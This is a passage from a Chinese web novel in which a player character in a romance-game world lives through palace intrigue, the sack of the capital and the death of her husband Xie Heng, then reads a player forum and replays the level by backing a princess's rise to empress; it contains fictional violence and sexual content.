“你把筝娘还我吧。” 谢玟想要的东西,都被阿问收拾出来,放到对峙中间的空地上。 他愣愣放下匕首,难以置信他长久以来谋求的权力就这样到手。 你获得自由,先捂了下被刀刃冰到的颈部。 没有伤口,刀没开刃。 你回头看了他一眼:“原来你想要的是这个。” “开心吗?” 没再多言,你朝谢珩走去。 衣袖被他拽住。 你听到他如蚊蝇般低语:“要分开了吗。” 使了力气,你把长袖从他手里拽出,衣料软绵,像握不住的云雾。 谢珩已经行到面前,将你拥在怀里。 “筝娘……瘦了。” 你牵他的手。 谢玟也是在这时看到,你与丈夫牵手时会十指相扣,这是你从没给过他的待遇。 “回去给我吃好吃的……怎么哭啦?” “是因为我,你才受这种委屈。” “我愿意啊,没事的。” 想给他擦眼泪,但闻到他身上洁净的干叶香后,你止住动作。 谢珩抓住你落下的手,放到脸上:“怎么不碰我?” “我有点臭臭的。” “我不觉得,我很想念你,筝娘……” “子瑜!” 谢玟捧着那匣子跟上来,微微喘息,盯的人却是你。 他声音有些发抖。 “还能换吗?” “我不要了。” “全都给你,我不要了。” “我要……” 谢珩截住他的后话:“三哥,别让我恨你。” 谢玟低头笑了声,眼睛泛红,鼻侧的痣愈发鲜明:“现在不恨吗?过去也不恨?” “是,万千宠爱于一身的五公子怎么会恨。” “一直在恨的只有我,恨你什么都有,恨我偏偏是被曾祖母忽略的那个!” “三哥,人多口杂,你一定要在这里说这些?” “不能说是吗?有辱谢氏门风是吗?” 你道:“够了。” “三哥渴求的家主之位不是已经到手了,还纠缠什么?” “子瑜并不亏欠你,你想发泄愤怒,不该找他。” 你用最陌生的眼神望他,看到了之前想在他脸上看到,戳破面具后求而不得的表情。 像在哭诉: 不是这样的。 不要对我说这种话。 我们之间什么都不算吗? ——什么都不算。 还以为会有多大的挑战,不过如此。 你拉着谢珩离开,没有回头。 以果推因,当日借他人之手下毒,和带你“逃亡”的目的是一个。 用你的命来威胁谢珩交出家主之位。 结合【人物档案】分析,谢二叔的倒台也是他的手笔。暗中与崔氏通信,将谢氏与九公主想毒杀四皇子的消息卖出去,这是你在司马煦线时知道的情报。 崔氏决定将计就计,只是到最后一刻,他们介入其中,将毒药从四皇子换给皇帝,一局解决两个碍事的人。 桓守临突然找你要谢珩缺点的事也可以解释。他看出了些门道,在皇帝即将倒台时站到了崔氏身后,各方面搜集消息攻击他的政敌。 谢玟笃定他父亲倒台家里会把权交给谢珩而不是其他叔伯,所以有这个计划的瞬间,就在筹划威胁谢珩的筹码。 其实他直接说一嘴想要,谢珩就让给他了,何必大费周章折腾这一回。 谢氏真的更看重谢珩吗? 不尽然。 有宠爱在,但更像是为谢玟培养的试金石。 一场内斗结束,最有心计与手段的二房嫡子坐到了家主的位子。 怎么不是个好的结果? 回到家,彻头彻尾地洗澡熏香,把自己从里到外收拾干净,饱餐了一顿。 翠儿柳儿下了功夫,给你做了满桌子的大鱼大肉。 “小姐这段时间受苦了,快多吃些补补!” 安定以后,许多不好的声音穿进了你的耳朵。谢氏的人在背后谈论你和谢玟一起失踪的事,对你的贞洁表示怀疑。 这些人都被谢珩严厉斥责压了下去。 他看得出谢玟对你的感情。 那不是你的错,任何人和你朝夕相处都会真心喜欢上你。 他只是红着眼蹭蹭你,问你是又喜欢上三哥了吗? 当然没有。 不至于。 他推送着,压抑着,痛苦着。 你吻他嘴唇:“不相信我吗?” “相信的……” “你说什么我都信。” “我只是,不想让他们喜欢上你……” 不想让他们午夜梦回,欲念横生时,想到的是筝娘的脸,男人都是这般恶劣,惹人厌烦。 “为何总要打筝娘的主意……” 幽幽怨怨。 时断时续的对话声中,房事结束。空了许久,好不容易吃顿肉,体感不错,你想叫翠儿柳儿送水进来,被谢珩用吻堵住嘴。 他道:“我来帮你吃干净吧。” 说着,向下挪去。 你抓着他的长发,持续着无法抑制的颤抖。 事实证明,吃不干净。最后还是叫了水泡澡。 人过了苦日子才会知道床的舒适。 一夜好眠,第二天在谢珩怀里睁眼,闻到他温暖宜人的体香。 点开【人物档案】,发现他的疾病状态又解除了。 之前的存档里也一样,他病得很严重,做过以后就能恢复精力。是任务对象特有的效果? 不知怎么惊醒他。他动了动眉头,睁眼瞧你,拉你的手在唇边轻吻。 “筝娘……一辈子在我身边吧。” 迷迷糊糊说什么呢。 “怎么没去上班?” 他习惯了你的用词,答道:“不想去。” “以后都不去了。” 他根本就无意那些,得到的多一点,少一点,又能怎样。 他做的一切都是为了你。 如果做这些要让他面临你被别人夺走的命运,那他全都放弃好了。 他只想和你在一起。 第57章 比皇帝驾崩更先到来的, 是谢府老祖宗的离世。 这位老人历经两朝,看到五世同堂,临死前她的庶曾长孙生了个曾曾孙给她抱过。病危小半个月, 回光返照之际, 她叫谢玟过去说话。 “阿玟, 你父亲……是做了错事,可那也是你父亲。你要像你弟弟原谅你一样, 原谅他,这样才是一家人。什么时候都不要忘记,我们是一家人。你没出过远门, 不懂, 我少时避战入江南,随夫家侨居建康, 一世难归故土,一些旧人, 怕是死了以后也没法重逢。” “我这一生,终究没回得去洛阳,见不到他们……死在异乡,无法瞑目啊。” “这些年来, 我不曾命令过你们什么。如今, 我命令你们后代万世子孙, 若有外族来犯,绝不可袖手旁观。再退, 要退去哪呢?怕是这天下要毁在司马氏手里了!” 她说话声越来越轻。 “说不动了, 好累……” “是谢郎吗?” “谢郎,来接我……” 老祖宗死后,谢氏办了一场堪比国丧的葬礼。 既祭奠家中逝者, 也有恶心宫中皇帝之意。 不久,宫中传出皇帝要不好了的消息。裴氏派人去江淮急召大皇子,未得音信。崔氏这边喜气洋洋给四皇子赶制登基的吉服。 世家家主进宫问疾,病恹恹的皇帝见了他们,挨个指他们的人头。 “你、你、你……赐死!” 无人行动。 内侍默不作声,对这边的境况恍若未闻。 “呵呵。” 他自嘲笑说:“不用着急,我死后会带走你们的。” “便是你们这些蛀虫……!!” 裴元启道:“圣上病重,胡言乱语,让他歇下吧,我们明日再来侍奉。” “是。” 你收到了桓琴的信。 信中写,她与丈夫在宁州落脚。那里山明水秀,入冬不必加衣,看不到雪花的影子,放眼望去全是青翠起伏的山。 【不出半年,必有国乱。】 【筝娘,来姐姐这里。】 身在局外,她写了很多之前没有跟你道明的事。 王氏不满在朝权位,暗地里与外族周旋,拆解城防布局,用来交换家族在新朝的利益。 但桓琴认为外族人不可信。恶徒不经儒义约束,出尔反尔并非稀奇之举。一旦引狼入室,国将不国,哪里还有高门望族。 她无法改变,只能明哲保身,远离这场纷争。忍痛给自己的孩子下毒,借手足相残之名与王氏断交。 如今已在世外有了立身之地。 她要你也一起去。 【信中种种,阅后即焚。】 “……” 信纸的一角碰到烛焰瞬间变黑,成了圆顿的残篇,最后化为小片的灰烬。 总觉得在你乱玩一通的时候发生了很多事。 无意插手剧情背景走向,去宁州倒是有点动心。 和谢珩说了你的想法,他表示愿意和你一起去其他地方定居。 “父母不怎么在意我的,世上爱我的人只有筝娘你,你想去哪我都跟着。” 真乖。 虽然有了这么个约定,但你并没着急出发。赴往宁州坐马车至少一月,现在走就是在最冷的时候赶路。 等开春再说。 晴朗的一日,你与谢珩出门赏雪。树上挂满松软的雪花,对岸楼阁覆了层白顶,水面冷成了与白对应的深沉墨色。 建康城的雪落身即化,你们撑伞走在雪地里,咯吱咯吱地踩着雪声。 “那里没人走过,我要踩踩。” “好。慢些,小心雪淋到你。” 一条路走到最后,鞋子被融化的雪给濡湿了,冰得你脚尖发痛。 柳儿去马车里取替换的鞋袜,谢珩蹲在你面前,手隔着鞋攥你的脚尖,想这样将它们捂热。 “回去时我背你吧。” “想自己走。” “会冰到的。” “没关系,回家泡脚。” 说着话,人语声渐渐接近,一道娇俏的女声率先响起。 “是桓小姐!” 你循声望去,来者是一位仙风道骨的老人,气质清贵,身边跟着两个童子,一女一男,看样子像是他的徒弟。 “桓小姐桓小姐!” 名叫碧花的女童只一味兴奋叫你名字,并没有要说什么的意图。 男童墨花朝你行礼,年纪虽小,却一派老成:“见过桓小姐,五公子。” 老者王锡抬手召碧花回去,与谢珩相视:“来看雪?” “拜见四舅舅。” “不必拘礼,有缘遇见,不如同行?” 谢珩询问地看你一眼,你点头。本来也没走够,既然是他的亲戚,迁就一下也没什么不行。 得到你的肯定答复,谢珩失落地垂下长睫。勉强做出笑容,陪行在他四舅舅身侧。 与你们纯看景不同,王锡这边另有乐趣,放一只小舟进水,舟中煮清酒。冰天雪地,漂泊在寒水之上,手中捧着一碗热酒,很是风雅。 你吹了吹热气,小口抿着酒碗,酒的味道发甜,一股杨梅的清新,几乎尝不出酒精。应该是为了照顾两个孩子,才煮这种没什么度数的果酒。 碧花眼睛眨巴眨巴看你,小身子朝你挪了又挪:“桓小姐吃不吃糖呀?” 她伸手,掌心里放了一颗油纸包的糖块。 你笑着接下:“谢谢。” 碧花捧着脸摇摇晃晃尖叫,然后用脚踢踢哥哥,“墨花你也给!” 墨花板着脸,也送你一块糖。 所谓高声望效果。 王锡给谢珩算命。 “子瑜,你姻缘不好,情路坎坷。” 谢珩有些发愁:“可有破解之法?” “用命,破吗?” “我…!” “破什么破?” 你拉他袖口:“求天求地,不如求我。” 谢珩脸色稍缓,露出与天际夕阳近似的笑意。 “是啊,不如求你。” 王锡默默无语,专注喝酒,之后再没提过他的命理。 落了夜,岸边亮起灯盏,照在雪上晕染开清浅的金黄。你看得入神,听到王锡苍老的声音。 “好好看看吧,这样的好日子不多了。 ” “荧惑守心,太白昼见。不到年底,便要有一场战乱。” 就算他不说,你也感觉得到时局日复一日地紧张。 十日后,江淮战败,连失十城的消息传入皇城。 有老祖宗的遗命在,谢玟出兵前线。本以为谢氏的军队能轻而易举地将异族驱逐出境,不曾想军中出了奸细,在河上游投毒,军民死伤过半,退守后方,谢玟病死在营帐里。 听闻认识人的死讯,你心里有些异样,可能npc就是很容易死掉。 你着手收拾远行的行装。 谢珩咳嗽的声音响在屋子里。连下了四天的大雪,他受了风寒,体温降不下来。 眼看要到年关,家中又多了桩丧事,府中人忙上加忙,芹枕几人被调走,临走时,她们反复叮嘱:“少夫人,去宁州时记得把我们叫回来,我们想跟您一起走啊。” 你笑着答应。相处这么久,你对她们也产生了感情。如果一大家人齐去宁州,应该会过得很开心。 掀帘回到屋内,架起的炭盆散发着热意,将你脸上的冷硬烤得消融。你学着谢珩以前做过的事,围着炭盆把自己烤热了,才去到他身边。 “子瑜。” “筝娘……” 坐到他身边,你摸了摸他的额头,还是很烫。 “有没有好受点?” “我好受很多了。”怕你担心,他装作一副轻松的模样,可是他的脸色实在太难看。 不要在只差【1】好感的时候病死啊。 那些坏事,该告诉他的都告诉他了。只差最后【1】数值就能通关。 你不自觉说出声:“你病得这么重,是不是不想让我走啊?” 谢珩会错意,以为你说宁州的事。 “我想的,我没有用手段,我心甘情愿跟你走……咳咳咳咳咳!” 你抚他的胸口,“慢些,别着急,我跟你开玩笑呢。” 俯身吻他眉心。 “快点好起来吧。我们一起走,走远远的,我要带你私奔了。” “姐姐说,宁州有大片的花田,到时候我要在你头上插满鲜花,蝴蝶追着你飞,在你头上住下。” “还要养一窝小鸡,知道吗?鸡崽们小时候长得可爱,像毛球,长大了以后略丑点,但会下蛋给我们吃。” …… 谢珩的病是因着谢玟的死。 丧讯传回来的那天,他朝着北边流了整夜的泪。 给他点希望吧。 让他想些好的事情。 多日过去,他这场病总算痊愈。 本准备第二天就启程,但谢珩父亲说至少留在家里过完这个年。 不急这几天,你答应他。 除夕当日,建康城破。 国难当头,一切谋算都像笑话。早上还在商量皇位是给四皇子还是九公主,到了中午,就没有皇位一说了。 皇帝最终还是活到了国破的那天,江山毁在他手里。 谢珩领一队卫兵,带着你们这几日收拾的行装走小路出城。 你并无实感,但身边的每个人都沉浸在国破家亡的悲痛之中。 去路被堵,卫兵不断被消耗,最后阿瑞下车,将缰绳交给阿问。 “我去应付,你带公子他们走!” 阿问抖着声音:“你应付,你怎么应付?!” 阿瑞抽刀下车,只留一个背影:“不必惦念,我留下,至少陪我死去的妻女!带公子走!” 阿问咬着牙流泪,捏紧缰绳冲破包围,疾驰出城。 雪地难走,马车越走越迟缓。 “皇城竟这般大。” 阿问拿袖子擦了下眼泪,“什么时候才能出去……” 柳儿无声拍他肩膀,从他手中接过缰绳:“让我来赶一段,你去休息。” 林中有巡兵发现马车的动静,提刀杀了过来。翠儿用暗器解决一部分,却像启发了他们,箭如雨下射中马车,有箭射到马上,马仰天长鸣,跪倒在地。 柳儿用尽全力稳住车厢,跳下车拿剑:“小姐!跑!我来挡住他们!” 不是停留的时候,翠儿几乎将你推下了车。 捡起装钱的包袱,她拉着你跑,另一边阿问也是一样,拽着谢珩狂奔。 你回头望柳儿,她实在瘦小,青绿的衣裳簪一支箭,箭头插入之处盛开一朵血花,花瓣浸透了半边臂膀的红痕。 她握着剑,忍耐伤痛挥剑斩杀冲向你们的追兵。 但仍做不到以一敌多,她的胸口被长枪捅穿,失去支撑的力气,像叶片落下般飘零。 翠儿捂住了你的眼睛。 “小姐……别看。” 城门被敌兵包围得水泄不通,没有突破的空隙。 翠儿紧握你手:“先等等。” 另有人试图冲出去,被刀剑拦截。你认出一人是桓氏的门房,之前回门时见过,更主要的是他们身上还悬着半透明的名牌。 到底人多,冲出一处缝隙,翠儿和阿问点头,带你与谢珩逃向那个缺口。 “桓筝!” 有人喊你的名字。 “桓筝!救你妹妹!” 你回头,两个牵着手哇哇大哭的女孩被继母推了过来。 “救你妹妹!” 她和几个家仆扯着手,做成肉盾挡在那些封城门的敌兵前,身体被兵器捅穿也没有松手。 “桓瑟、桓箫!跟着姐姐,要听话!” “娘——” 你和翠儿抱住往回冲的孩子,此时此刻,你终于回过神来。 不能接受。 读档。 回到除夕这天早上,提前策划离开。 本来决定好过完年再走,结果你非要在过年当天离开,这让谢珩的父母很是不满。 你告诉他们,快走,敌军会在今天攻破建康城,他们会杀光所有人。 他们不信,还因为你提起敌军的事感到恼怒。谢玟死后,战事在谢家成了禁忌。 面对劝不动的人,你不会再多说一个字。强行带谢珩离开,马车的轮子却坏了,阿问找工匠修了一上午,结果还是没来得及。 阿瑞的家人死在北国军的刀枪下,为了掩护你们离开,他下了马车,之后是柳儿,再之后到了城门,遇到想逃出去的桓氏一家,继母将妹妹们托付给你…… 重来。 非要用那辆马车不可吗?坏了就换一辆。 可是其他马车另有主人,你无法号令。 狠了狠心,读档读到半个月前,谢珩还生病的时候。 这次你果断地筹划去宁州,谢珩却在离开前吐了血,身子病弱到说不出话。 等他治好病,再提走又有了除夕之约。不答应的话,谢珩的父母就会变脸,无论如何都不放你们离开。 连续读档后,你明确了游戏的意图。 它非要让你经历逃亡线路不可。 既然如此。 你点开【数值页面】,将赠送的【3】点数值全部加到武力上。加完去练武场试了射箭,这次有玄妙之力的加持,就算射更远的靶子,你也做得到一箭中心。 教你射箭的人却死了。 ……不是想这种事的时候。 你将随行的银钱大半换成了刀片等可以作暗器投掷的东西,额外带了几个箭筒。 安排阿瑞将他的家人送出城过年,芹郁芹枕也都被你另派了工作,去城外的农庄就职。 希望对她们有用。 这次再出逃,比之前顺畅很多。 可是阿瑞还是下车对敌了。 你竭力挽留他:“妻女不管了吗?” 他没有回头:“我要为五公子卖命。” “……” 沉默许久的谢珩下令:“驾车,阿问。” 之后,柳儿也留在了那里。 你看着她瘦弱鲜活的躯体一次又一次插透了刀枪,心脏跟着发痛。 “娘——” “桓筝,救你妹妹!若有来世,我结草衔环以报!” 哪有来世。 “姐姐,我娘她不救了吗?” 看着小孩子哭红的双眼,你抱紧她的腰,再次点了读档。 重来一次,做更充分的准备,但该离开的人还是会在那个节点离开。 就算换其他路,换不同的时间都是一样。 “我救不了你娘。” 捂着孩子们哭泣的嘴,你们上了桓氏提前准备的马车。 阿问拼命驾车前冲,路上听见百姓的哀嚎。 “我爹还在里面!” “我妹妹明天就要嫁人了!” “娘!” “快逃吧!他们只杀城内人,说不定杀光了就轮到我们了!” “城楼上的是谁?” “是公主殿下!” 你猛地掀开车帘,看到司马婧一袭白衣站在城楼上。她望着满目苍夷的建康城,转身向下倒去。 她永远活在还是公主的这一刻。 是你走错路线了吗? 哪里走错了? 不该跟谢玟在山崖下待那么长时间? 不对,现在不是攻略对象的情感问题。 而是整个背景剧情走向毁灭了。 为什么? 你记得最初的几个结局都没有敌军进犯这种剧情。 当时是……大皇子或九公主即位,或皇帝还安然在世。 而主档里司马煦被送走了。 后来就出现【剧透】的提示。 是继承人出问题,令世家愈发骚动,动了不该动的心思。 阿问皱眉:“他们追过来了!” 小孩子听到危险的话,抱在一起哭。 谢珩红着眼:“为何要赶尽杀绝……” 翠儿抽剑跳下车:“小姐,保重!下辈子我还伺候你!” “不要……” 翠儿倒在那场血泊里。 紧接着是阿问。 “公子会驾车吗?要保护好夫人,不然您会难过。” 马车奔走在吞血的残阳下,车辙印出两道血痕。 读档。 走另一边。不通。 读档。 换方向。 读档。 读档。 读档。 【您今日读档次数已达上限】 点不动点不动点不动点不动点不动点不动点不动点不动点不动点不动! 你惊吓地叫出声。 两个妹妹抱住你,“姐姐,姐姐……姐姐不要哭啊……会没事的……” “谢五公子。” “我在北境时便久仰风采,今日一见,不虚美名。” “车内是何人,你的家眷?” “一并带入新京如何?” 谢珩的声音像年久发锈的门:“怎样才能放过她们?” “唔……真难的问题。聪明的中原人总是喜欢用话把人难倒。” “不如,跪下给我们磕几个头?磕得看见骨头,就放了你女人。” “你妻子长什么模样?” “别过来。” 谢珩道:“我给你们磕头,放了我妻子。” “好啊。” “在此之前,容我与妻子告别。” “可以。” 谢珩回身掀开车帘,先是望着你一愣,擦干你脸上的泪。 “筝娘,别怕。” “我没事的,筝娘要远远地走,几日后我就去找你。” “这月的月事来了吗?” 你点头。 他笑:“太好了。” 他吻住你的额头。 “走吧,冲出去以后,你就出来驾车。很简单的,你拉住缰绳,小马就会听你的话。” “翠儿柳儿都不在你身边了,你一人要小心。” 你已经止不住眼泪,可是却没办法读档救他。 “你说你几日后要来见我……” “是啊,我几日后会去见你。我若变丑,你还要我吗?” 你用力点头。 谢珩最后朝你笑笑,起身,却被你拉住。 “阿珩……” 【谢珩好感100/100】 【任务成功】 【他全身心爱你,哪怕你以后会与其他男人在一起,他也想让你活下去。 你最终逃到宁州,与姐姐团聚。 可你一辈子都忘不掉他了。】 【进入结局】 新朝为肃清南朝世家揽权的政弊,在皇城大开杀戒,将世家根系彻底清除。 不乏惹出些民怨,但新帝不在乎。 征战的过程中,他留下些南朝难得一遇的美人。 李氏有女委身于他,但很快因为下毒杀他被他下令处死。 他认为前朝也需要一些美人,于是留谢氏、崔氏、裴氏、王氏的一些风流子弟。 他们同意归降后,就要被处理成内侍。 这样放在身边,养眼也安心。不至于担忧自己的女人被他们所迷惑。 皮相最好的谢五公子别有风骨,断水断粮也没有松口,放毒虫进去他也默默忍受。 只是身子跟不上他的意志,没活几天就香消玉殒。 他留下了一篇文章,在送进去的一件崭新的春衫上,以血落笔。 【子瑜顿首: 吾生幸甚,得享祖荫,鲜有忧患。然所憾者,唯与吾妻华年仅期岁耳。妻幼娴礼德,子瑜自惭形秽,未敢存窥墙之念;及结褵后,方知其倾心久矣,天地之大,何乐逾此? 流光忽,白驹过。恨情深缘浅,今当永诀。魂归碧落,愿作春风拂卿之鬓,作清晖映卿妆台。但求卿无痛楚,无戚容。倘得如是,某虽九泉,亦觉情愿。 属文非为示荆室,实欲彰心于春衫。妻怀瑾握瑜,虽陈王洛神之赋,犹未尽万一。至若幽情所钟,同庄生观鱼之乐,惠施知之,青溪可证。】 获得成就:【春衫录】 【闯关成功】 数值结算: 【美貌46/50 体能30/30 健康65/100 武力3/10 心性1000/1000 声望988/1000 谢珩好感100/100】 第58章 通关了。 褪去古代的服饰, 从松散的发髻,到宽袍大袖的襦裙,全部被替换成你本身的装束。 你坐在待机空间的沙发里。 【恭喜玩家顺利通过第一关】 【获得可分配数值20点】 【您的背包道具还没用完, 选择带入下个世界还是兑换可分配点数?】 【背包: [一粒圆丹], 可兑换10点 [暖情香]x1, 剩余次数5,可兑换5点 [学人鹦鹉]x1, 可兑换5点 [你想要成为的样子],可兑换20点 】 你选择【保留】 【很难过吗?】 【别难过】 【玩家还会遇见很多人】 “……” “你有意识?” 不回应了。 深吸一口气,你关闭进行下一关的按钮。 这不是你想要的结局。 【退出游戏】 用电脑端打开游戏论坛, 搜索第一关, 二级搜索关键词: #亡国 无。 #春衫录 无。 ……无? 你记得游戏最开始给你定的关卡名就是《春衫录》。 #关卡名 【普通模式:关卡名原来是有变化的……】 1L(楼主):换新账号注册,发现第一关的名字变了, 所以是随机的吗? 2L:我会在每个帖子的评论区里劝人不玩普通模式 3L:普通模式是这样的 4L:之前研究过,普通模式是随机分配主线, 比如《宫乱》的真结局就是要使任务对象谢珩亲手杀了九公主才算通关成功,普通真的很难hh “……” #屠城 无。 #世家 【困难模式:如何从零经营世家】 【困难模式:世家里好看的人真多,还都是喜欢玩的】 【困难模式:辣鸡世家】 …… #天下 【[精]困难模式:女帝天下攻略】 1L(楼主):谁懂恶毒女配做坏事必成功buff的爽感!开楼zrp,码一下那些年做皇帝的经验 2L(楼主):第一关。世家女、公主女官开局, 是现存关卡里很高的起点了!开篇桓筝的手里就已经有部分政治资源, 能做到调遣官员做事。 重点是开局不要和谢珩产生感情, 但保留谢氏新妇的身份,多出去参加宴会, 在重要宴会上偷听到关键事件的概率是100%。 因为桓筝开局声望就很高, 被很多人迷恋,可适度玩几个男人养在身边。这时没有感情积累,谢珩不会对你的所作所为说什么, 还会在谢氏向你施压时帮助你。这些男宠会在之后遇到难处的时候牺牲自己保全心爱的你,最多能顶个三四次,建议养十个为基础。 3L(楼主):九公主身份是女主,根据恶毒女配的设定,整个世界坏她的好事最容易。空闲时间多关注人物档案,经常能发现她获取财富的生意。这时从中作梗,也100%做成,在她身上可以薅很大一笔原始资金。这些都是后来贿赂人的钱。 4L(楼主):有了钱,去街上闲逛,多刷几次,人最多的地方可能出现技能点在言语的npc,用重金收买他/她散布天下将有女帝的预言。先把这个预言推给九公主,还是那句话,她是女主,是我们恶毒女配的宿敌。从她那抢东西在HE前100%成功。当天下人,世家,皇室……一切的难关都被九公主打通,她将成为下一任皇帝时,就是你发动政变的时候。 5L(楼主):此时有钱,收买了人心,有了女帝的预言,差的就是兵力。前期完成渣爹的任务他会给兵符奖励,他是真的给,所以你要去做。只要不太敷衍,他都会给你。五百,一百的小队随机不等,那是听从你号令的军队,珍惜他们,训练他们。规模小的时候训练他们做刺客,多了就建造军镇。后期,兵力需要用利益与其他世家交换,注意存档,有些阴险小人会借机将你告到宫里,一旦被揭露,就会迎来失败。 别动司马煦,见到他就打起精神,不能让他看出你不属于这个世界。除了他,这一路上有权力的男人长得再好都别碰,等你坐到皇帝的位置,想睡什么人都能睡到。如果实在想用男色,就去一些特殊场所使用,也有开出绝世美男的概率。 6L(楼主):只要兵力是世家+皇室兵力的五分之三,最后的篡位之战就可以打赢。 恭喜登基!杀你想杀,睡你想睡! 7L:dddddd我去了! 8L:这是什么,黄袍吗,怎么穿我身上了 9L:楼主积德行善会有好报 …… 368L:我去试了,真的,别开谢珩感情线,想睡等登基后随便睡,前期你睡他,他真的容不下你有其他男人,每天出门办事,他就一直在家等你,问你去了哪,是不是找了别的男人 369L:作证。登基后被他怨恨,睡得硬硬的别有风味。不,是超爽。 370L:每次自己开任务做不成功,去抢九公主的就顺顺利利……我真的想永远做恶毒女配了!! 关闭论坛。 决定走这条路。 你去洗了把脸,戴上头盔,读档依然受限。 看来这个当天最高读档限制是指现实里的时间。 只好等过晚上十二点。 中间你又查很多资料,浏览历史上真实的帝王是怎样篡权夺位。 理论知识充足,开始实践。 你读档回到游戏开端,成婚当天。 你敞开门,冲上去抱住翠儿柳儿。 “小姐?”她们一头雾水。 你低声道:“见到你们真好。” “哎?” “我要和离。” 以谢珩新婚夜不回房为由,你在谢氏大闹了一场。要到了一纸和离书,你与翠儿柳儿连夜离开谢府。 走之前,你回头望了一眼。谢珩迷茫地站在府门口,远远地与你对上目光。他唇动了动,想说什么,但你没有给他机会,离开的步子迈地飞快。 “殿下!让我回到您身边吧!” 九公主此时已经被裴元启告知,拆散她与谢珩的幕后之人就是你。因此,对于你的回归,她无比讥讽:“不是得偿所愿?怎么又不要了?” 你上前一步握住她手:“我知错了,殿下,得到谢珩的滋味并不好受,我还是想回到殿下您的身边,您不要我了吗?” 司马婧:“……” 女主角总是对身边的坏人一次次心软。 你做回了她身边的女官,三天两头离间她与裴元启的感情。 “他只是想得到你,埋没你,以保护你的名义折断你的双翼。殿下,不要信他。” “可我能做什么?我若是哥哥,哥哥是我……” “殿下是殿下就够了。” 偏离了主线,远离了任务对象,这次存档里你没有接到过任何待办任务。但你每天都像完成任务一样处理各种事件。 计划是计划,你并没有严格按照攻略走,实际执行,你发现那条路不适合你。 你想走的路不是反臣,而是奸臣。你不愿在自己的肩上承担太多责任,一旦做了天下之主,大厦将倾,无辜死亡的生灵就是你欠的债。 你更想轻松地改变一切。只要司马婧当权,你会帮她规避致命的错误,未来的种种就不会发生。 虽然走的正道,但你也在利用恶毒女配的设定行事,常用阴损手段。 比如污蔑桓守临与宫妃有染,将他从皇帝身边铲除,远派到云中县安置流民。 临行前你去送他。他并不愤怒,弄权之人败于斗争,输得心服口服。 他嘱咐了你几句,乘船与妻女离开。两个妹妹眼巴巴望你,一直到看不清人脸,都还在望着你。 桓琴掀开帷帽:“筝娘,不要把别人的烂摊子揽到自己身上,你会很累的。” 你道:“不累。这是我想做的事,我觉得官场经营也很有趣。” 远处传来一阵女孩子的喧闹声,实在悦耳,你与桓琴都将视线投去那边。 原来是谢珩出行,年轻的女孩子们围堵着他。 桓琴道:“既然喜欢,为何不争?” 你叹了口气,心中有万语千言,但哪句话都不适合说出口。最后,你只说:“我没喜欢他。” 桓琴牵你的手:“是么。” “那试着找其他男人如何?你每日为公主周转,身后无人操持家事,日子过着不舒服的。” 你想了想,觉得有理。于是堂而皇之进了怀贤府。 经验贴强调了有权势的男人不许碰,所以你找了个天底下最孤苦无依的。 “桓小姐突然到访寒舍……唔……” 他还端着冷若冰霜的谪仙架子。你没有耐心跟他谈情说爱,勾着他的脖子向下接吻。 你熟悉他的吻,熟悉他的气息,他全身上下的每个地方。 “之允,来我身边吧。” “……放肆,你!” 将他扑倒。 他的白衣在地上散开,像在暗夜中盛开的纯洁至妖的昙花。唇红而泛着水光,清凌凌的双眼惊愕,却不受控地染了些欲色盯你。 “你……” “跟着我,我保护你,你伺候我,如何?” “……” “下去!我不要!” 最后将他睡服,从怀贤府接到你的家。 家是司马婧给你添置的宅院,不算宽敞,但胜在离公主府近。在这个存档里,她与裴元启关系冷淡,没有住进将军府。 你接孙惟回来时,她眼神复杂地盯他一眼,朝你道:“不要子瑜了吗?” 孙惟握你的手陡然变紧,迎着他故作冷酷,实则惊慌的眼神,你说:“不属于我的,我不会强求。” 司马婧哂然:“有些人,有些事,不是永远都一个样子。” “你不喜欢他了?” “我有其他要做的事,跟你一起。男人而已,你喜欢的话,让你又如何。我不希望你因为我,选了一个不喜欢的人……” 孙惟冷笑一声,从你手里抽出手:“她说我,你不管吗。” 你重新攥住他,笑对司马婧道:“我喜欢他啊。” 司马婧不信。 她也见过你望向谢珩的眼神,认为你是求之不得,选了一个最像他的人做夫君。 之后过了一段日子,你回家休息,发现谢珩被捆在你的床上。 “……” 四目相对,你心中无奈,不动声色地解开捆绑他的绳索。 “走吧。” “……” 他眼中泛了层泪光,深深、深深看了你一眼,合拢衣襟急促迈出了门。 晚上。 “子瑜好用吗?他会做给你这些事吗?” “我没用他。” “你怎么就这么爱他,你为什么这么爱他,你爱他又为什么要招惹我!桓筝,我求你,别这样对我!” “我也爱你啊,你觉得我爱你爱得不够吗?” 做了个痛快。 第二天容光焕发,司马婧笑得眉眼弯了起来。 “喜欢吗?我的赏赐。” “殿下,以后不要做这种事了。” 这年入冬,皇帝立司马煦为太子,储君之位交托得十分痛快。他将你与司马婧扳倒世家的手段看在眼里,放心将天下交给司马煦。 再之后,皇帝退位,提前将皇位传给司马煦。司马煦又将皇位传给司马婧。 她登基那天,你稍微动了动心。 兵权,财产,你都积攒足够。 谋女主的反,对恶毒女配来说是100%成功率。 但最终你没有做。 你站在了她这一边,继续帮她铲除异己。 偶然醉酒,醒来时和司马煦躺在一张床上。他撑着脸注视你,点你的鼻尖。你恍惚以为自己在过去的存档,是床帐的样式提醒了你,这是宫中,不是大皇子府,也不是你的家。 已经尽可能地避免和他见面……不过司马婧已经登基,应该没事了。 女帝上位后,朝中渐渐多了许多女官,一妻多夫的婚姻在民间流行。 所以跟他睡一下似乎也没什么。 “是我强迫的你吗?” 司马煦吻了下你的侧脸:“是啊,好痛的,你可真不留情……” “看来不是。” “缠着我叫殿下的人可是你,吃干抹净就不认了?我可是初夜。” “我……” 门被脸色阴沉的孙惟推开,你愣了下,他几步掀开床帐,缠着被子把你裹成一团抱进怀里。 他气得浑身在发抖,死瞪着司马煦,闷了又闷,骂出一句:“贱人!” 司马煦笑意淡浅:“再说一遍?” 你捂住孙惟的嘴,觉得实在可爱,又亲了一口。 “好了好了,我都可以解释,这是意外……” “他舒服,还是我舒服?” “我舒服,行吗?” “……” 即便有世家阴影在前,司马婧也依然爱才惜才,敢于放权,练兵制策,最终将北国逼退于江淮之外。还要再攻将失地夺回,北国主动让出三州十六县求和。 司马婧想要她的子民休养生息,如果能一直维持和平,保持现状也不是不行。 天下海晏河清。 你在意的人都还活着。 翠儿柳儿做了你身边的女官,谢珩好好地在他家里做他的公子。 你去见过他一次,你一直不大敢见他。 你把他的家人都打包下狱了,在这个档里,他一点喜欢你的理由都没有。 可他还是没忍心怪你。 “是他们做错了事……” 他那么温柔,眼睛漂亮得像会说话。 可你觉得,他不是他。 或者说,不是那个他。 即使费尽千难万险保住他,但他似乎不是你想守护的那个人。 